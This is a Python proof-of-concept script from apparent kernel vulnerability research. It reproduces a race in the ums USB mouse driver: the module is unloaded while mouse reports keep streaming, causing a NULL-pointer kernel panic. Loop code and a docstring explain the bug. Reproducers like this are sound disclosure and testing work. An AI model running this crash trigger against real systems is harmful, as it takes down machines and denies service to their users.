DF-5368 / race_v2.py
#!/usr/bin/env python3 """DF-5368 final trigger: kldunload-detach of ums while the device streams. Each cycle: 1. kldload the STOCK /boot/kernel/ums.ko -> ums0 attaches to the live mouse 2. root holder keeps the ums0 evdev node open (ums_ev_open started the intr xfer with NO /dev/ums0 fifo open) 3. monitor-level mouse_move stream -> interrupt-IN reports complete continuously (~90/s) 4. kldunload ums -> ums_detach() runs while the device still delivers: usb_fifo_detach() <- usb_fifo_close() early-returns (no fifo open) fp[USB_FIFO_RX] = NULL, xfer STILL RUNNING evdev_free() <- ... -> ums_ev_close -> ums_stop_rx -> stop+drain a report completing between the NULL and the stop makes ums_intr_callback() feed usb_fifo_put_bytes_max(NULL) / usb_fifo_put_data_linear(NULL) -> NULL page deref -> panic. """ import sys, time sys.path.insert(0, "/home/maxx/dfbsd/dfbsd/findings/poc/DF-5368") from umsrace import Mon, Spam, guest_run, guest_ok, evdev_node def main(): cycles = int(sys.argv[1]) if len(sys.argv) > 1 else 200 m = Mon() down = 0 for i in range(cycles): guest_run("kldunload ums 2>/dev/null; sleep 0.3") r = guest_run("kldload /boot/kernel/ums.ko 2>&1; sleep 1.2; ls /dev/ums0") if "ums0" not in r.stdout: print("cycle %d: no ums0 after load: %s" % (i, r.stdout.strip())) time.sleep(2) continue node = evdev_node() if not node: print("cycle %d: no node" % i) time.sleep(2) continue guest_run("pkill -x holdopen 2>/dev/null; sleep 0.2; " "/root/holdopen %s </dev/null >/tmp/hold.err 2>&1 & " "sleep 0.4" % node) sp = Spam(m) sp.start() time.sleep(0.4) guest_run("kldunload ums 2>&1") # <-- the detach-under-load time.sleep(1.0) sp.run_flag = False sp.join(3) if not guest_ok(): print("GUEST DOWN at cycle %d (held %s)" % (i, node)) down += 1 break if (i + 1) % 10 == 0: print("cycle %d ok" % (i + 1), flush=True) print("done: down=%d" % down) if __name__ == "__main__": main() |